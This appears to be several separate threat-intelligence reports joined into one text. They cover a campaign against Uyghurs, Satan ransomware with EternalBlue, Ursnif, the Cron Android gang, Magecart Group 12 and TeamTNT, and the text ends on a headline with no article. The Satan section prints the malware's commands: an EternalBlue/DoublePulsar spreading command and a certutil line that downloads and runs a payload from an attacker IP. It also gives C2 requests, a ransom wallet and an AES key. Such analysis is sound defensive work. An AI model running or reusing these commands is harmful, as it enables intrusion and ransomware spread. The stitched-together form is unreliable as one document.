During the past year, Check Point Research (CPR), in cooperation with Kaspersky’s GReAT, have been tracking an ongoing attack targeting a small group of Uyghur individuals located in Xinjiang and Pakistan. Considerable effort was put into disguising the payloads, whether by creating delivery documents that appear to be originating from the United Nations using up-to-date related themes, or by setting up websites for non-existing organizations claiming to fund charity groups.
In this report, we examine the flow of both infection vectors and provide our analysis of the malicious artifacts we came across during this investigation, even though we were unable to obtain the later stages of the infection chain.
## Delivery Document
Our investigation began with a malicious document named `UgyhurApplicationList.docx` (MD5: `a1d773621581981a94459bbea454cdf8`), which carried the logo of the United Nations Human Rights Council (UNHRC) and contained decoy content from a United Nations general assembly discussing human rights violations.
After clicking on “Enable Editing”, a malicious external template is downloaded from `officemodel[.]org`. This template has embedded VBA macro code, which then checks the operating system’s architecture and based on this proceeds to decode a 32-bit or a 64-bit payload.
The payloads are embedded in the document itself and are base64 encoded. After the corresponding version is decoded, it is then named `OfficeUpdate.exe` and saved under the `%TEMP%` directory. In the two `OfficeUpdate.exe` samples we located, the payload was a shellcode loader which starts with basic evasion and anti-debugging techniques, by using functions such as sleep and `QueryPerformanceCounter`.
The shellcode in both variants attempts to fetch a remote payload. In the first variant, we found the loaded shellcode attempted to connect to `185.94.189[.]207`, where the second variant tried to connect to `officemodel[.]org`, even though it crashes during execution. Unfortunately, we were not able to retrieve the next stage payload for analysis.
## Delivery Websites
The domain observed in the malicious document (`officemodel[.]org`) resolved to the same IP address as `unohcr[.]org` – a domain impersonating the Office of the United Nations High Commissioner for Human Rights (OHCHR). This overlap in resolution happened over a long period of time, from April to December 2020.
By pivoting on that infrastructure we were able to reveal another infection vector that was used in this operation: distribution through fake websites that host malicious executables targeting Windows users.
Another IP address that `unohcr[.]org` resolved to revealed a domain named `tcahf[.]org`, which hosted a website claiming to represent TCAHF – the “Turkic Culture and Heritage Foundation”. TCAHF is supposedly a private organization that funds and supports groups working for “Turkic culture and human rights”, when in truth it is a made-up entity, and most of its website’s content is copied from the legitimate `opensocietyfoundations.org`.
The malicious functionality of the TCAHF website is well disguised and only appears when the victim attempts to apply for a grant. The website then claims it must make sure the operating system is safe before entering sensitive information for the transaction, and therefore asks the victims to download a program to scan their environments. The website offers two download options, one for MacOS and one for Windows, but only Windows programs were available when we analyzed the website, and the MacOS version link served an empty file.
## Malware Implants
During 2020, the fake TCAHF website served at least two variants of the Windows implants: one we refer to as `WebAssistant`, which was available in May 2020, and another called `TcahfUpdate`, which was available in October 2020.
### Fake Website Infection Chain
The first payload we observed being downloaded from `tcahf[.]org` was called `win.exe`. This payload is an Installshield package that executes a Windows Installer (MSI) file that installs the `WebAssistant` application and drops four files.
The installer also registers a URL protocol handler for the `sechk` scheme: whenever a user is redirected to a URL which starts with `sechk://`, `WebAssistant.exe` will be executed.
This scheme appears in the source of the TCAHF website, and when the victim accesses different pages, a pop-up message asking to run the `WebAssistant` application is shown.
### WebAssistant Analysis
Unlike most malicious samples, `WebAssistant` does not attempt to conceal itself or hide its execution from the victim, as it is allegedly a security scanner that is required for the application process in the website to work. The `WebAssistant` installer creates four files, three of which were compiled by the attackers on May 21st, 2020. The files are saved under the `C:\Program Files\WebAssistant\SecurityScan` directory:
| File Name | MD5 | Description |
|--------------------------|------------------------------------------|---------------------------------|
| `WebAssistant.exe` | `2f7492423586a3061e5641b5b271ca54` | .NET binary |
| `WindowsService.exe` | `98cf461bcf9e3cef2869e2ea3d7f3341` | .NET binary |
| `WinInterface.dll` | `65532ef9879d6b86a865d3e2b0621354` | C++ library |
| `Newtonsoft.Json.dll` | `6815034209687816d8cf401877ec8133` | Legitimate library used to parse JSON objects |
The main executable (`WebAssistant.exe`) has a graphical interface that is shown as a decoy to the victims, potentially allowing them to conduct the fake scan. When the victim presses the `Scan` button, the `ThreadScanSystem` method in the .NET binary is called. Unlike what its name suggests, this method does not really scan the system for security issues, but instead displays hardcoded strings informing the victim that everything is in order while it performs other actions in the background.
First, `ThreadScanSystem` calls the `CheckUpdate` method and sends a `GET` request to the C2 server along with the following parameters: `action=update&app=WebAssistant/1.0&db=Database/1.0`, and the server returns a JSON object.
The JSON object is then parsed for certain fields such as `appurl` or `dburl`. The `appurl` field contains a URL to download another executable called `Setup.exe`, which is then saved to the `TEMP` directory. After downloading `Setup.exe`, `WebAssistant` runs it and displays its graphical component to the victim.
On the other hand, the `dburl` field in the JSON object contains a URL to download a library called `WinDBProject.dll`. This library exports three functions that are loaded by the `WebAssistant` binary: `getWinDBVersion`, `winDBCheckVmProcess`, and `winDBCheckConflicts`.
By default, those three functions are loaded from the `WinInterface.dll` library created by the installer; however, each exported function in `WinInterface.dll` is simply a wrapper designed to execute a function with the same name in `WinDBProject.dll`. This means that without the additional downloaded DLL, the functions in `WinDBProject.dll` do not contain any logic of their own and we cannot see the full implementation. Unfortunately, we were unable to obtain both `WinDBProject.dll` and `Setup.exe`.
Following this, `WebAssistant.exe` proceeds to collect the following information about the infected system: the BIOS serial number, CPU information, and MAC address. It also collects a list of the running processes and a list of the installed programs.
It is interesting to note that when the `WebAssistant` application enumerates the running processes, it calls the `winDBCheckVmProcess` function imported from the downloaded DLL. The name of this function suggests that its purpose is to check if the result contains any processes associated with virtual machines, which might mean the malware is running in an emulated environment or by a researcher. In an attempt to evade detection, the attackers then stop the execution after displaying a message that the program cannot run inside a virtual machine.
Similarly, the list of installed programs is examined by the imported `winDBCheckConflicts` function to check for the existence of certain software on the system and stop the execution if it is found. Although we do not know which programs are sought by `winDBCheckConflicts`, it is possible the attackers use it to evade AntiVirus solutions and security products that might otherwise detect the presence of their malicious activity.
If no problematic process or software is encountered, the collected information (system information list, processes list, installed programs list) is then uploaded to the C2 server. Each one of the lists is encoded using base64 and added to a JSON object that is sent to `tcahf[.]org/verify_.php?flag=false` via a POST request.
Alternatively, if the `WebAssistant` application is executed as a result of the registered URL scheme `sechk`, the execution flow is quite similar to the one we already described. The main function checks if a `load` argument was provided (`sechk://load`), and if so calls two methods: `initApp` and `globalScan`. The `globalScan` method exfiltrates the same system information seen above, whereas the `initApp` schedules a Timer to collect and upload this data every half an hour.
Lastly, another binary dropped by this installer is `WindowsService.exe`, which is a service that ensures the persistence of the malicious functionality and performs the same actions as `WebAssistant.exe` periodically.
### TcahfUpdate Analysis
`TcahfUpdate` replaced the previous `WebAssistant` implant and was available for download from the fake website during October 2020. `TcahfUpdate` is composed of three files: two are .NET executables created by the attackers and compiled in September 2020, while the third is a legitimate DLL library.
| Name | MD5 | Description |
|--------------------------|------------------------------------------|---------------------------------|
| `RegisterUi.exe` | `1b5dbd351bb7159eb08868c46a3fe3a6` | .NET binary |
| `TcahfUpdateSvr.exe` | `90fcbd5c904326466c3b6af1ca34aae1` | .NET binary |
| `Newtonsoft.Json.dll` | `6815034209687816d8cf401877ec8133` | Legitimate library used to parse JSON objects |
`RegisterUi.exe` is the user interface of the `TcahfUpdate` application. When the UI is loaded, it triggers the collection of system information in the background, with some changes introduced from the older version. For example, in addition to the BIOS serial number, CPU information, and MAC address, this variant also adds the local system time to the stolen data. The data is then encrypted using AES with the encryption key `A4DC55FAC1E4E512C07C1504FDC9B668`, and is uploaded to the C2 server by appending it to the following URL: `hxxps://www.tcahf[.]org/verify_.php?uuid=[UUID]`. The encrypted data is also used to generate the registration code displayed to the victim in the UI.
As for the second executable, `TcahfUpdateSvr.exe` is a Windows service that makes sure the malicious code is constantly running. It assigns `RegisterUI.exe` to be the handler of the `tcahf://` protocol, so that it could be executed whenever the victim accesses a URL that begins with this scheme.
Moreover, it can fetch an additional payload by communicating with the C2 server using the URL `hxxps://www.tcahf[.]org/cgi-bin/update.py?uuid=[DATA]` along the user agent `Certificate Update(For Windows)/1.0`. As with the previous variant, the result from this request is a JSON object that may contain the `Setup.exe` executable. The executable is saved under the `%TEMP%` directory and executed with admin privileges.
## Victims
Due to the nature of the malicious websites and the decoy content used in the delivery document, we can assess this campaign is intended to target the Uyghur minority or organizations supporting them. Our telemetry supported this assessment, as we have identified only a handful of victims in Pakistan and China. In both cases, the victims were located in regions mostly populated by the Uyghur minority.
## Attribution
Although we were unable to find code or infrastructure similarities to a known threat group, we attribute this activity, with low to medium confidence, to a Chinese-speaking threat actor. When examining the malicious macros in the delivery document, we noticed that some excerpts of the code were identical to VBA code that appeared in multiple Chinese forums, and might have been copied from there directly.
## Recent Updates
While most of the activity described above happened during 2020, it appears the threat actor behind this campaign is still active in 2021, with two newly registered domains: `malaysiatcahf[.]org` and `icislieri[.]com`. These two domains resolved to the same IP address as `officemodel[.]org`, and the server responded only to the unique URLs we have previously observed in this campaign, further confirming the connection to this threat actor.
The second domain (`icislieri[.]com`) appears to be impersonating the Turkish Ministry of the Interior, but currently both domains redirect to the website of a Malaysian government body called the “Terengganu Islamic Foundation”. This suggests that the attackers are pursuing additional targets in countries such as Malaysia and Turkey, although they might still be developing those resources as we have not yet seen any malicious artifacts associated with those domains.
## Conclusion
Our joint analysis of this previously unreported threat group, which first emerged in early 2020, shows an elaborate attack that has been taking advantage of different infection vectors to target supporters and members of the Uyghur minority. The malicious executables created by the attackers exfiltrate basic information about the infected system, but can also download a second-stage payload, or in the case of the documents, fetch additional commands from the C2 server. This means that we have not yet seen all the capabilities of this malware, or the full course of action taken by the attackers following a successful infection.
Lastly, the fact that the attackers are still registering domains indicates this activity is still ongoing, and there might be new sightings or new variants of the malware in the near future.
## Indicators of Compromise
### Malicious Documents
- `0f104af8eb3ab1a192d9d8793c405483`
- `a1d773621581981a94459bbea454cdf8`
- `c5d5f37a0a599ee790172630a2501f96`
### Malicious Embedded PE
- `b343e06f20f178117be130f082e23eab`
- `b808ab4dfc1c52e5be07e6815cf09d40`
- `edcefd70f93bf00849e336ea13a258f7`
### Fake Applications
- `f538754efdc17e9ba88aeb1ff31ecdcb`
- `2f7492423586a3061e5641b5b271ca54`
- `98cf461bcf9e3cef2869e2ea3d7f3341`
- `65532ef9879d6b86a865d3e2b0621354`
- `90fcbd5c904326466c3b6af1ca34aae1`
- `1b5dbd351bb7159eb08868c46a3fe3a6`
### Domains and IPs
- `tcahf[.]org`
- `unohcr[.]org`
- `malaysiatcahf[.]org`
- `officemodel[.]org`
- `icislieri[.]com`
- `185.198.166[.]58`
- `45.134.1[.]3`
- `47.91.170[.]222`
- `46.8.180[.]147` |
# Satan Ransomware Adds EternalBlue Exploit
Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware. Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer. In this blog post, we'll analyze a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network and consequently encrypt files.
## Analysis
First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".
- **MD5**: 12bc52fd9da66db3e63bfb196ceb9be6
- **SHA1**: 4508e3442673c149b31e3fffc29cc95f834975bc
- **SHA256**: b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
- **Compilation timestamp**: 2018-04-14 06:33:08
- **VirusTotal report**: b686cba1894f8ab5cec0ce5db195022def00204f6cd143a325608ec93e8b74ee
The file is packed with PECompact 2 and is therefore only 30KB in filesize. Notably, Satan has used different packers in multiple campaigns; for example, it has also used UPX and WinUpack. This is possibly due to a packer option in the Satan RaaS builder. Fun fact: Iron ransomware, which may be a spin-off from Satan, has used VMProtect.
"sts.exe" acts as a simple downloader and will download two new files, both SFX archives, and extract them with a given password:
- **ms.exe** has password: iamsatancryptor
- **client.exe** has password: abcdefghijklmn
It appears the Satan ransomware developers showcase some sense of humor by using the password "iamsatancryptor". Once the user has executed "sts.exe", they will get the following UAC prompt, if enabled.
Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Curiously, and thanks to the s2 option, the start dialog will be hidden, but the extraction progress is displayed - this means we need to click through to install the ransomware. Even more curious: the setup is in Chinese.
ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.
The infection of other machines on the network will be achieved with the following command:
```
cmd /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp
```
We can then see an attempt to spread the ransomware to other machines in the same network.
down64.dll (17f8d5aff617bb729fcc79be322fcb67) will be loaded in memory using DoublePulsar and executes the following command:
```
cmd.exe /c certutil.exe -urlcache -split -f http://198.55.107.149/cab/sts.exe c:/sts.exe&c:\sts.exe
```
This will be used for planting sts.exe on other machines in the network, and will consequently be executed. Satan ransomware itself, which is contained in Client.exe, will be dropped to C:\Cryptor.exe. This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.
What's new in this version of Satan is that the exclusion list has changed slightly - it will not encrypt files with the following words in its path:
- windows
- python2
- python3
- microsoft games
- boot
- i386
- ST_V22
- intel
- dvd maker
- recycle
- libs
- all users
- 360rec
- 360sec
- 360sand
- favorites
- common files
- internet explorer
- msbuild
- public
- 360downloads
- windows defen
- windows mail
- windows media pl
- windows nt
- windows photo viewer
- windows sidebar
- default user
This exclusion list is reminiscent of Iron ransomware. Satan will, after encryption, automatically open the following ransomware note: C:\_How_to_decrypt_files.txt. The note is, as usual, in English, Chinese, and Korean, and demands the user to pay 0.3 BTC. Satan will prepend filenames with its email address, [email protected], and append extensions with .satan. For example: [[email protected]]Desert.jpg.satan
- **BTC Wallet**: 14hCK6iRXwRkmBFRKG8kiSpCSpKmqtH2qo
- **Email**: [email protected]
It appears one person has already paid 0.2 BTC.
Satan will create a unique mutex, SATANAPP, so the ransomware won't run twice. It will also generate a unique hardware ID and send this to the C2 server:
```
GET /data/token.php?status=ST&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
HTTP/1.1
Connection: Keep-Alive
User-Agent: Winnet Client
Host: 198.55.107.149
```
As mentioned in the beginning of this blog post, Satan ransomware has been using EternalBlue since at least November 2017. For example, 25005f06e9b45fad836641b19b96f4b3 is another downloader which works similar to what is posted in this blog. It would fetch the following files:
- http://122.114.9.220/data/client.exe
- http://122.114.9.220/data/ms.exe
- http://122.114.9.220/data/winlog.exe
According to VirusTotal, the downloader file was uploaded: 2017-11-20 18:35:17 UTC.
## Disinfection
You may want to verify if any of the following files or folders exist:
- C:\sts.exe
- C:\Cryptor.exe
- C:\ProgramData\ms.exe
- C:\ProgramData\client.exe
- C:\Windows\Temp\KSession
## Prevention
- Enable UAC
- Enable Windows Update, and install updates (especially verify if MS17-010 is installed)
- Install an antivirus, and keep it up-to-date and running
- Restrict, where possible, access to shares (ACLs)
- Create backups! (and test them)
More ransomware prevention can be found here.
## Conclusion
Satan is not the first ransomware to use EternalBlue (for example, WannaCry); however, it does appear the developers of Satan are continuously improving and adding features to its ransomware. Prevention is always better than disinfection/decryption. |
# Ursnif Trojan Targets Over 100 Italian Banks
The Ursnif Trojan has been traced back to attacks against at least 100 banks in Italy. According to Avast, the malware's operators have a keen interest in Italian targets, leading to the loss of credentials and financial data.
In one case alone, an unnamed payment processor had over 1,700 sets of credentials stolen. Avast found usernames, passwords, credit card, banking, and payment information that appears to have been harvested by the malware.
First discovered in 2007, Ursnif began its journey as a simple banking Trojan. The information stealer's code was leaked on GitHub and has since evolved, becoming more sophisticated, with its code being developed independently and also appearing as part of the Gozi banking malware.
Ursnif is usually spread via phishing emails, such as invoice requests, and attempts to steal financial data and account credentials. Darktrace researchers documented a 2020 campaign in which the malware was used in an attack against a US bank. A phishing email was sent to an employee who unwittingly opened a malicious attachment and accidentally downloaded an executable file pretending to be a .cab extension.
This file called out to command-and-control (C2) servers registered in Russia only a day prior to the launch of the campaign, meaning the IPs were not blacklisted at the time of infection. A recent obfuscation technique noted in this attack was the use of User Agents imitating Zoom and Webex to try and hide in network traffic.
Darktrace has also tracked the malware in attacks against organizations in the US and Italy. Avast has shared its findings with the victim banks the company was able to identify, alongside CERTFin Italy, a financial services data exchange managed by the Bank of Italy and the Italian Banking Association (ABI). |
# Cron has fallen
Group-IB supports operations to arrest gang for infecting 1 million smartphones.
A black police vehicle, UAZ Patriot, is accelerating, chasing a cherry Renault Logan and forcing it to the roadside. The taxi driver in the Logan seems agitated, frightened even, and accelerates quickly while shifting into higher gears. It has gotten dark; both cars speed close to the side of the road sweeping bushes. "Be ready to run," one of the officers warns his colleagues. "He's going to brake and flee over the fence." When the Logan finally stops, the officers act faster: with the entry team jumping out, pulling the passenger from the back seat and laying him face down in the snow.
This taxi passenger is a member of Cron, a hacker group that stole money from bank accounts of Android smartphone users. The hackers infected 3,500 mobile devices per day during the height of their operations, infecting over 1 million devices in total.
## Androids under attack
Group-IB first learnt about Cron in March 2015: Group-IB's Intelligence system tracked the activity of a new criminal group that was distributing malicious programs named "viber.apk", "Google-Play.apk", "Google_Play.apk" for Android OS on underground forums. The hackers called this malware "Cron", hence the naming convention of the group. Cron targeted users of large Russian banks in the Top 50 standing – all of their SMS banking services were under siege during Cron's operations.
According to statistics from the Russian Central Bank, 20% of the adult population in the country used mobile banking. Smartphones have become the new mobile wallet – this trend was capitalized on by cyber criminals. In 2015, 10 new hacker groups started stealing money using mobile Trojans, and the number of incidents tripled!
Trojans for mobile phones and tablets have finally replaced PC Trojans. According to 2015 year-end results, losses of online banking users from attacks employing Android Trojans amounted to over $1 million (61 million rubles).
Why are hackers choosing Android users as a key attack target? Easy. Almost 85% of smartphones run Android OS worldwide, making them an attractive target for cyber criminal groups.
It is no longer necessary to be a virus writer to steal money from users of Internet banks – ready-to-use malware can be easily purchased or rented on hacker forums. The Cron organizers had already been convicted of various crimes before their hacker attacks. It comes as no surprise that experienced criminals become hackers. Once, Group-IB investigated the activity of a hacker who earned up to $20 million per month through thefts in online banking.
## Cron's attack scheme
The approach was rather simple: after a victim's phone got infected, the Trojan could automatically transfer money from the user's bank account to accounts controlled by the intruders. To successfully withdraw stolen money, the hackers opened more than 6,000 bank accounts.
After installation, the program added itself to the auto-start and could send SMS messages to the phone numbers indicated by the criminals, upload SMS messages received by the victim to C&C servers, and hide SMS messages coming from the bank.
Every day, Cron malware attempted to steal money from 50-60 clients of different banks. An average theft was about 8,000 rubles ($100). According to crime investigators, the total damage from Cron's activity amounted to approximately $800,000 (50 million rubles).
The gang applied several infection vectors:
1. Spam SMS messages with a link to a website infected with the banking Trojan. The message was of the following form: "Your ad is posted on the website ....", or "your photos are posted here." After the user visits the compromised website, the malware will be downloaded on the device, tricking the victim to install it.
2. Infected applications. The victim could install the malicious program on the phone by downloading fake applications masked as legitimate ones. The Trojan is distributed under the guise of such applications as Navitel, Framaroot, Pornhub, and Avito.
Thus, Cron managed to infect over 1 million mobile devices, infecting 3,500 devices on average daily.
In April 2016, an announcement about the lease of a mobile Trojan called cronbot appeared on a hacker forum. According to its description, the Trojan had the functionality to intercept SMS messages and calls, send USSD requests, and perform web injections. We assumed that the criminal group decided to recruit a new member to the team, because according to the author of the announcement, they were ready to provide the Trojan to one person only. At the time, the group consisted of the organizers, operators, "cryptors", "traffickers", and money mules.
## Plans for France
Having earned money in Russia, Cron decided to expand throughout the world. In June 2016, the criminals rented a mobile banking Trojan Tiny.z for $2000 per month. This universal tool has capabilities to attack Android devices of both Russian and international banks' customers.
Group-IB specialists detected Tiny.z in early 2016. According to analysis of the botnet control panel, this is the same panel that was used by the well-known "404" criminal group that actively attacked clients of both Russian and foreign banks. Purportedly, after the arrest of a "404" member named Foxxx in 2015, Cron modified the malicious program.
The malware authors adjusted this program for attacks on banks of Great Britain, Germany, France, the USA, Turkey, Singapore, Australia, and other countries. The Trojan scanned the victim's phone for a banking application and displayed a universal window with the icon and name of the bank retrieved from Google Play that prompted the user to enter his personal data.
Cron planned to start their "international activity" with attacks targeting banks of France. They developed special web injections for the following French financial institutions: Credit Agricole, Assurance Banque, Banque Populaire, BNP Paribas, Boursorama, Caisse d'Epargne, Societe Generale, and LCL.
However, by November 2016, Russian law enforcement, with support from Group-IB, had managed to identify all members of the group and collect digital evidence of the crimes committed. On November 22, 2016, a large-scale operation was carried out in 6 Russian regions: 16 Cron members were detained. The last active member of the group was detained in early April in St. Petersburg.
## How to avoid becoming a victim of an Android Trojan
1. Android users are particularly vulnerable to security threats and should be extremely cautious. Do not click on URLs in emails or social media communications, even when coming from your friends or colleagues. They can be hacked. Only download mobile applications from the official website or app store directly.
2. Keep your smartphone up. Experts strongly urge you not to root your Android device and to update the firmware in a timely manner, because updates usually contain security patches. Install a modern Internet security solution on your device - this minimizes the risks.
3. Do not hesitate to contact bank specialists for assistance. In the event of any suspicious activity related to your bank account, alleged theft, or fraud, immediately contact your bank. |
# Magecart Group 12’s Latest: Actors Behind Cyberattacks on Olympics Ticket Re-sellers Deftly Swapped Domains to Continue Campaign
A recent blog post by Jacob Pimental and Max Kersten highlighted Magecart activity targeting ticket re-selling websites for the 2020 Olympics and EUFA Euro 2020, olymppictickets2020.com and eurotickets2020.com respectively. These sites were compromised by a skimmer using the domain opendoorcdn.com for data exfiltration. With RiskIQ data, our researchers built on the previous reporting to identify more skimming domains used by the attackers, as well as additional compromised sites. RiskIQ can also now attribute all these cyberattacks to Magecart Group 12.
The obfuscation and skimming code we observed on opendoorcdn.com matches that used by Magecart Group 12, whose skimmer and obfuscation techniques we analyzed in our blog posts, "New Year, Same Magecart: The Continuation of Web-based Supply Chain Attacks" and "Magento Attack: All Payment Platforms are Targets for Magecart Attacks." However, there are differences in the techniques employed by Group 12 in these more recent compromises, which we'll break down here.
In those blog posts, we noted that Group 12 employed base64 encoded checks against the URL looking for the word "checkout" to identify the proper page on which to load their skimmer code. This encoding masked both the check itself and the skimmer URL. Quoting from our May 1st, 2019 report:
"Most of Group 12's injections occur with a pre-filter on the page—a small snippet of JavaScript that checks to see if they want to inject their skimmer on the page. Here's what it looks like:"
However, in these more recent cyberattacks, the skimming JavaScript is loaded without obfuscation or URL checks. Instead, the script loads via a variable the attackers named 'eventsListenerPool,' which is an alias for document.createElement('script').
## Next Domain Up
On February 3rd, Pimental and Kersten published their followup blog detailing their efforts to identify further opendoorcdn.com victims and have the skimming domain taken down by the Chinese company through which it was registered. On February 2nd, RiskIQ observed that opendoorcdn.com was replaced on at least two of the victim sites named in the blog by a live skimmer domain, toplevelstatic.com.
RiskIQ has observed the toplevelstatic.com domain on three victim sites so far, all of which were previously compromised by opendoorcdn.com, as seen through our host pairs data set in RiskIQ Community.
The domain toplevelstatic.com was registered on February 1st, 2020, through Chinese registrar Guangzhou Shidaihulian (now.cn) and uses the same DNS provider as opendoorcdn.com, DNSPod (also based in China). Both domains are hosted on NGINX servers and use Let's Encrypt certs. The IPs connected to toplevelstatic.com have changed at least once a day and sometimes more often, with each server, so far, based in Russia.
Hosting for opendoorcdn.com followed a more leisurely pace of flux. From January 2019 through January 2020, it sometimes used the same IP for weeks at a time and utilized servers based all over the world.
## Targets Beyond Sporting Event Ticket Re-selling
RiskIQ's detection logic allowed us to identify additional domains hosting this particular Magecart skimmer. Two popular emergency preparedness sites, beprepared.com and augasonfarms.com, were affected by one of these additional skimmer domains.
Both sites are owned by Blue Chip Group Manufacturing and appear to be similarly constructed. We observed augasonfarms.com loading skimming code from storefrontcdn.com on January 27th. The beprepared.com site seems to have been loading the skimming code from January 16th through 29th. In these instances, the skimmer was added through a simple script tag.
It appears the injections have been removed from sites, and they are currently free of skimming code. Additional IOCs can be viewed in our Magecart Group 12 project.
## Safety in the Age of Magecart
The activity seen here demonstrates that Magecart is a persistent and resilient threat. Given the lucrative nature of card skimming, Magecart attacks will continue to evolve and surprise security researchers with new capabilities. They're learning from past cyberattacks to stay one step ahead, so it's on us to do the same. Make sure you're staying up to date by reading all our findings on Magecart and stay tuned as we continue to shine a light on new developments.
**Update:** Following the publication of this article, we noticed further detections showing that beprepared.com was also loading skimming code from wappallyzer.com, another Group 12 domain. Our data shows that this began on January 24th. We have communicated this to the affected company and are working with them to remediate. |
# TeamTNT Upgrades Arsenal, Refines Focus on Kubernetes and GPU Environments
Using a new batch of campaign samples, we take a look at its more recent cybercrime contributions and compare them with its previous deployments to demonstrate the group’s use of upgraded tools and payloads.
In previous entries, we described how the hacking group TeamTNT targeted unsecured Redis instances, exposed Docker APIs, and vulnerable Kubernetes clusters in order to deploy cryptocurrency-mining payloads and credential stealers. TeamTNT was one of the first cybercriminal groups to focus on cloud service providers (CSPs), specifically the metadata stored on elastic computing instances being run on cloud services. It is mainly engaged in the theft of environmental metadata used by CSPs. Because instance metadata and user data can’t be authenticated or encrypted, it’s important for users to avoid storing sensitive data in metadata fields, including secrets and CSP-related preauthorization data which can then be used in other services such as serverless deployments.
If a running instance used by a CSP customer is not properly configured or has a security weakness such as exposed APIs or leaked credentials, malicious actors who are able to abuse these security flaws might be able to use other services as well. Therefore, it’s important for organizations to safeguard critical authentication credentials, or secrets, to ensure that they are out of cybercriminals’ reach.
Today, TeamTNT remains actively exploit compromised cloud environments in its campaigns. Using a new batch of campaign samples, we take a look at its more recent cybercrime contributions and compare them with its previous deployments to demonstrate the group’s use of upgraded tools and payloads.
## TeamTNT’s upgraded arsenal
What stands out from our analysis is that the samples obtained from TeamTNT’s recent campaigns look more professionally developed than previous versions. The samples, which cover more corner cases and include bug fixes, show marked improvements in how the hacking group targets misconfigured Amazon Web Services (AWS) or Kubernetes services. With cybercriminals setting their sights on cloud deployments, it’s important for cloud users to understand the importance of the shared responsibility model. Users play an important role in the overall security of their cloud environments. Cloud users are in charge of securing the data, platforms, applications, and operating systems that they run within their respective cloud services. Hence, they must also be aware of where to place critical data within the cloud environment for it not to be targeted by malicious actors.
Rather than incorporating all-in-one samples with multiple functionalities, TeamTNT’s attacks have become more modular. The samples have a defined scope and feature well-defined functions, showing how the group has evolved to apply a more targeted approach to its campaigns.
Earlier this year, we detailed how TeamTNT crafted a hard-coded shell script that targeted credentials from vulnerable AWS instances. Aside from AWS, we have also observed how TeamTNT has refined its development of tools specifically for one of its primary targets, Kubernetes.
These show that TeamTNT has developed multiple payloads for different targeted Kubernetes environments. Upon closer look, the payloads have minor changes specifically geared toward adapting a bit better to the infected environment: They are less noisy as they are less generic, and they change command-and-control addresses as they get updated.
Checking this trend with Shodan data, we see that TeamTNT’s focus on Kubernetes deployments makes sense since the number of open and exposed Docker APIs has been decreasing. In September 2021, the number of exposed Docker APIs was 836, down from 7,276 12 months prior. Meanwhile, the number of vulnerable Kubernetes APIs has been increasing since June 2021. In September 2021, exposed Kubernetes APIs even reached 161,993.
TeamTNT is also extending its focus on its mining hash rate by enhancing its chances to exploit devices equipped with GPUs by having toolsets designed for multiple GPU manufacturers. This is no surprise as the actual reward for mining monero cryptocurrency is getting lower. Thus, to mine the same amount of monero, a bigger contribution (with hashes provided) is needed, which in this case is indicated by the hash rate. Simply put, the bigger the hash rate, the higher the amount of money mined.
## Conclusion and security recommendations
This entry highlights our three major observations on TeamTNT’s recent campaigns. The first concerns the changes the group has employed in its arsenal development. Rather than using messy, all-in-one malicious files, its new-generation payloads seem to be more professionally developed and targeted, and generate less noise during infection by reducing the number of executions and deploying more accurately.
Another crucial observation is that TeamTNT is developing more tools targeting Kubernetes. This is backed by in-the-wild Shodan data showing the number of exposed Kubernetes APIs. Because the hacking team has also mentioned the launch of a new Kubernetes campaign on its social media account, we highly recommend that Kubernetes users pay special attention to its deployments. However, despite TeamTNT’s apparent preference for exposed Kubernetes APIs, it still targets CSPs.
The final point is that the payloads now identify GPU-based environments and deploy specific payloads to target instances running in CSPs and take advantage of the computational power and generate more cryptocurrency by ill means.
With organizations relying on cloud services now more than ever, attacks targeting cloud services are likely to become more ubiquitous and sophisticated in the coming years. To keep systems and services protected against evolving threats, organizations should create strong security policies that highlight the shared responsibility model and the principle of least privilege. It is also a good practice to encrypt metadata or use obfuscated or otherwise non-sensitive metadata to ensure that critical data is kept secure. AWS provides a detailed example of encrypting metadata with the AWS Glue Data Catalog and a listing of ITAR-controlled data related to each AWS service.
Organizations can also benefit from prioritizing continuous monitoring and auditing, and regularly patching and updating their systems.
## Indicators of compromise
| SHA-256 | Detection name |
|--------------------------------------------------------------------------------------------------|-------------------------------------|
| 024445ae9d41915af25a347e47122db2fbebb223e01acab3dd30de4b3546496 | TROJAN.SH.KIMERA.YXBJ3 |
| 06e8e4e480c4f19983f58c789503dbd31ee5076935a81ed0fe1f1af69b6f1d3d | TROJAN.SH.KIMERA.YXBJ3 |
| 4a00f99ce55f6204abcfa0b0392c6ee4c6a9fa46e8c1015a7c411ccd1b456720 | TROJAN.SH.KIMERA.YXBJ3 |
| 6075906fbc8898515fe09a046d81ca66429c9b3052a13d6b3ca6f8294c70d207 | TROJANSPY.SH.CHIMAERA.AA |
| 71af0d59f289cac9a3a80eacd011f5897e0c8a72141523c1c0a3e623eceed8a5 | TROJAN.SH.KIMERA.YXBJ3 |
| 8bb87c1bb60cbf88724e88cf75889e6aa4fba24ab92a14aa108be04841a7aa86 | TROJAN.SH.KIMERA.YXBJ3 |
| 9ad4daaa5503bef61bb9ae7e5e75e92c3afd7077296c9a0ddee8ee38a0ce380e | TROJAN.SH.KIMERA.YXBJ3 |
| b07ca49abd118bc2db92ccd436aec1f14bb8deb74c29b581842499642cc5c473 | TROJAN.SH.KIMERA.YXBJ3 |
| c57f61e24814c9ae17c57efaf4149504e36bd3e6171e9299fd54b6fbb1ec108c | TROJAN.SH.KIMERA.YXBJ3 |
| fa2a7374219d10a4835c7a6f0906184daaffd7dec2df954cfa38c3d4dd62d30d | TROJAN.SH.KIMERA.YXBJ3 | |
# Google Confirms Advanced Backdoor Preinstalled on Android Devices
